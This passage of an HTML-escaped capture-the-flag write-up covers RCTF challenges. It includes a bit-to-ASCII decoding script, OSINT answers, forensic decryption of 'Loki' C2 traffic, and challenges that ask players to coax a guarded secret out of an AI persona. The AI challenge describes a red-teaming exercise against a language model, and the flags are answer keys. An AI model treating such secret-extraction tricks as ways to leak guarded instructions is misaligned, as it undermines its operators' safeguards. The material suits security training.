class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;动态阈值 =&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;threshold&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#   生成 01 序列&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;bits&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;r&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;threshold&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;r&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;rms_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;bit_string&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# bits 是你的 0/1 列表&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bit_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bit_string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;chr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;except&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;ASCII 解码结果:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;I&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Feel&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Fantastic&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;heyheyhey&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-3&#34;&gt;&lt;strong&gt;Challenge 3&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-3&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;这玩意甚至有 &lt;a href=&#34;https://en.wikipedia.org/wiki/I_Feel_Fantastic&#34;&gt;wiki&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/128642a4-2e8e-4999-b7ca-b9e4cc0bf14b.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;继续搜索 找到https://creepy-videos.fandom.com/wiki/I_Feel_Fantastic 里面的链接是https://www.youtube.com/watch?v=rLy-AwdCOmI&lt;/p&gt;&#xA;&lt;p&gt;失效了 去archive看&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/f1313ece-c894-49a5-939c-9f3dcaeace93.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/b9b9af41-2cbd-4a15-a863-29baa2cbed18.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-4&#34;&gt;&lt;strong&gt;Challenge 4&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-4&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;回到Wiki&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/2a3faa3c-ff1f-4ef1-837c-59270b0b94a8.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://yitzilitt.medium.com/the-story-behind-i-feel-fantastic-tara-the-singing-android-and-john-bergeron-fc83de9e8f36&#34;&gt;https://yitzilitt.medium.com/the-story-behind-i-feel-fantastic-tara-the-singing-android-and-john-bergeron-fc83de9e8f36&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/3c29ff26-47c2-4949-b4e7-952c95edaf5b.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/3ff16c9b-34fc-40c0-9df2-8790e8ef34e6.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/d770a230-bdc2-48d0-9636-3790321051c3.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/1f3db728-8b70-4b9a-b579-1d0c6555e53a.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-5&#34;&gt;&lt;strong&gt;Challenge 5&lt;/strong&gt; &lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-5&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Some called her creator a murderer, others said he built her out of love. She only wanted to sing. She wants to tell you. She just feels love. The truth lies in older archives — an obituary, a quiet memorial, where the story of her creator rests in digital silence. Find the developer&amp;rsquo;s digital grave. (URL, no trailing slash) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/bd1683cf-22db-4850-b928-841f329fcfc9.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;作者是John Bergeron&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://www.findagrave.com/memorial/63520325/john-louis-bergeron&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/cd46a799-165d-4c52-9154-fd8ef6d63185.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;最终Flag:&lt;code&gt;RCTF{sh3_ju5t_f33ls_l0v3_thr0ugh_w1r3s_4nd_t1m3}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;shadows-of-asgard&#34;&gt;Shadows of Asgard&lt;a class=&#34;heading-anchor&#34; href=&#34;#shadows-of-asgard&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Background Story&lt;br&gt;&#xA;During a red team exercise, Loki the Trickster successfully compromised Thor’s machine and planted a backdoor. Thor discovered the anomaly and identified Loki’s C2 server IP, but as a script kiddie, he only knows how to run directory scanners and has no idea how to counterattack.&lt;br&gt;&#xA;In desperation, Thor captured all the network traffic and came to you for help. The AllFather Odin watches from his throne, curious to see if you possess the wisdom to unravel Loki’s schemes.&lt;br&gt;&#xA;“In the halls of Asgard, deception wears many faces. Even Huginn and Muninn, Odin’s ravens, struggle to discern truth from illusion when Loki weaves his tricks.”&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Online：&#xA;http://1.95.68.35:26001/&#xA;http://1.95.68.35:26002/&#xA;http://1.95.68.35:26003/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Loki C2流量&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-1-the-merchant&#34;&gt;&lt;strong&gt;Challenge 1: The Merchant&amp;rsquo;s Mask&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-1-the-merchant&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Loki, master of disguise, never reveals his true intentions at first glance. His C2 server hides behind a false front—a seemingly legitimate corporate website designed to fool mortal eyes.&lt;/p&gt;&#xA;&lt;p&gt;What is the name of the company Loki used as camouflage on his C2 server&amp;rsquo;s front page?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/81e50c0a-5be8-4a2a-b34b-881a65accddd.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;HTML可以搜到 &lt;code&gt;渊恒科技&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-2-the-parasite&#34;&gt;&lt;strong&gt;Challenge 2: The Parasite&amp;rsquo;s Nest&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-2-the-parasite&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Like a serpent hiding in Yggdrasil&amp;rsquo;s roots, Loki&amp;rsquo;s backdoor didn&amp;rsquo;t run standalone—it parasitized an existing process on Thor&amp;rsquo;s machine to avoid detection.&lt;/p&gt;&#xA;&lt;p&gt;Identify the complete file path where Loki&amp;rsquo;s C2 agent was running.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;交互报文以 &lt;code&gt;Content-Type: application/json&lt;/code&gt; 传输&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/59d08d5c-eb6e-4a78-be18-adf6e678bf23.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/0caaaaa6-09b9-417a-a867-646abdc28de1.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;包含&lt;code&gt;aesKey&lt;/code&gt; 和 &lt;code&gt;aesIV&lt;/code&gt; 、&lt;code&gt;data&lt;/code&gt; ，解密&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/03d64c56-67e5-4b3e-af92-c7dbf5f347d1.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/1e83ffca-5740-4a69-95e5-b580283a3b88.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;C:\\Users\\dell\\Desktop\\Microsoft VS Code\\Code.exe&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-3-the-hidden-rune&#34;&gt;&lt;strong&gt;Challenge 3: The Hidden Rune&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-3-the-hidden-rune&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Loki commanded his agent to reveal its current working directory. But the Trickster is never straightforward—his commands are hidden in layers of encryption and steganography.&lt;/p&gt;&#xA;&lt;p&gt;What is the taskId for the pwd command that Loki executed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/d991b0e4-b876-4dc9-b1a4-a61b06f541b5.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;pcapng中还存在多个异常的png，将&lt;code&gt;tEXt&lt;/code&gt; 块中&lt;code&gt;Comment&lt;/code&gt; 作为密文，使用相同的key解密即可找到&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/f572bcff-0775-4759-b447-7fafcee9e5b1.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;c0c6125e&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-4-the-forge-of-time&#34;&gt;&lt;strong&gt;Challenge 4: The Forge of Time&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-4-the-forge-of-time&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;In Midgard, every realm has its moment of creation. Loki probed Thor&amp;rsquo;s machine to learn when its primary storage was first forged.&lt;/p&gt;&#xA;&lt;p&gt;When was Thor&amp;rsquo;s C: drive created?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/0aba2c75-8476-4fa4-9405-ff17dd8a244d.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现 &lt;code&gt;outputChannel&amp;quot;:&amp;quot;o-wup8k5bgwft&amp;quot;&lt;/code&gt;对应&lt;code&gt;drives&lt;/code&gt; 命令&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/eebcf91f-3ce8-44cb-94fb-c127fd2c8583.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/2767595b-6fab-4040-a3c8-d926c562c540.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;2018-09-14 23:09:26&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-5-raven&#34;&gt;&lt;strong&gt;Challenge 5: Raven&amp;rsquo;s Ominous Gift&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-5-raven&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&amp;ldquo;Two ravens sit upon Odin&amp;rsquo;s shoulders: Huginn (thought) and Muninn (memory). But there is a third raven in Norse tales—one that follows Loki, a harbinger of mischief. They say this raven is inauspicious, a dark omen of trickery to come.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;In the final act of his infiltration, Loki left behind a parting gift—a file hidden in plain sight on Thor&amp;rsquo;s compromised machine. This raven&amp;rsquo;s message contains the truth you seek.&lt;/p&gt;&#xA;&lt;p&gt;What secret message did Loki hide in the file he uploaded?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;channel &lt;code&gt;o-2ggeq7qpt2u&lt;/code&gt; 对应 &lt;code&gt;File saved to C:\Users\dell\Desktop\Microsoft VS Code\fllllag.txt (43 bytes)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/22e96741-eae8-4c19-a0b3-5764c38ebecb.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;RCTF{they always say Raven is inauspicious}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;最终Flag : &lt;code&gt;RCTF{Wh3n_Th3_R4v3n_S1ngs_4sg4rd_F4lls_S1l3nt}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-alchemists-cage&#34;&gt;The Alchemist’s Cage&lt;a class=&#34;heading-anchor&#34; href=&#34;#the-alchemists-cage&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Welcome to “The Alchemist’s Cage.” In this forge, you’ll challenge a paranoid AI Alchemist to create a Golem from a “soul seed,” forging a flawed being sworn to protect a secret. You have only five turns to interrogate your creation, exploit its personality flaw, and coax out the hidden rune it guards. Uncover the secret before the Golem is shattered and its knowledge is lost forever.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Online Environment:&lt;/strong&gt; &lt;a href=&#34;http://getenv.rctf.rois.team/&#34;&gt;&lt;strong&gt;👉Click Here👈&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;⚠ Notice:&lt;/strong&gt;&lt;br&gt;&#xA;A &lt;strong&gt;503 page&lt;/strong&gt; means the service is still being created — please wait patiently.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;没啥可说的 记录如图&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/0730e9c9-8c64-4f4d-a28d-882f03630d0f.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;514&#34;&gt;514&lt;a class=&#34;heading-anchor&#34; href=&#34;#514&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Welcome to “The Alchemist’s Cage.” In this forge, you’ll challenge a paranoid AI Alchemist to create a Golem from a “soul seed,” forging a flawed being sworn to protect a secret. You have only five turns to interrogate your creation, exploit its personality flaw, and coax out the hidden rune it guards. Uncover the secret before the Golem is shattered and its knowledge is lost forever.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Online Environment:&lt;/strong&gt; &lt;a href=&#34;http://getenv.rctf.rois.team/&#34;&gt;&lt;strong&gt;👉Click Here👈&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;⚠ Notice:&lt;/strong&gt;&lt;br&gt;&#xA;A &lt;strong&gt;503 page&lt;/strong&gt; means the service is still being created — please wait patiently&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;找到利用点是 text 了 但是没想到用iframe&lt;/p&gt;&#xA;&lt;h2 id=&#34;asgard-fallen-down&#34;&gt;Asgard Fallen Down&lt;a class=&#34;heading-anchor&#34; href=&#34;#asgard-fallen-down&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&amp;ldquo;Asgard fallen down, fallen down, fallen down,&lt;/em&gt;&lt;br&gt;&#xA;&lt;em&gt;Asgard fallen down, my fair lightning…&amp;rdquo;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first breach was a lesson. The second breach was a catastrophe.&lt;/p&gt;&#xA;&lt;p&gt;Loki returned, not with louder thunder, but with deeper silence. He learned from his defeat—learned that the best place to hide is not in darkness, but in the blinding light of chaos. This time, when he struck, he did so while Thor himself hammered at his gates.&lt;/p&gt;&#xA;&lt;p&gt;Thor, determined to turn the tables, launched a full assault on Loki’s C2 infrastructure. Vulnerability scanners roared like Mjölnir’s thunder. Directory brute-forcers swept like Heimdall’s gaze across every path. The network burned with the fury of Asgard’s vengeance.&lt;/p&gt;&#xA;&lt;p&gt;But Loki had already won.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Online：&#xA;http://1.95.68.35:26011/&#xA;http://1.95.68.35:26012/&#xA;http://1.95.68.35:26013/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;还是Loki C2&lt;/p&gt;&#xA;&lt;p&gt;怎么这玩意最近出这么多 GG也出了&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-1-the-first-command&#34;&gt;&lt;strong&gt;Challenge 1: The First Command&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-1-the-first-command&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;After successfully infiltrating Thor&amp;rsquo;s machine, Loki&amp;rsquo;s agent came to life. Like all beginnings, the first action reveals intent.&lt;/p&gt;&#xA;&lt;p&gt;Hidden among thousands of scanning requests and server responses, Loki issued his opening move—the first command that set his plan in motion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; What was the first command Loki executed after his agent established connection?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flag Format:&lt;/strong&gt; complete_command (The exact command Loki sent to the agent)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/2a8ac7b6-2a53-47fa-9521-c472b8680f80.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; 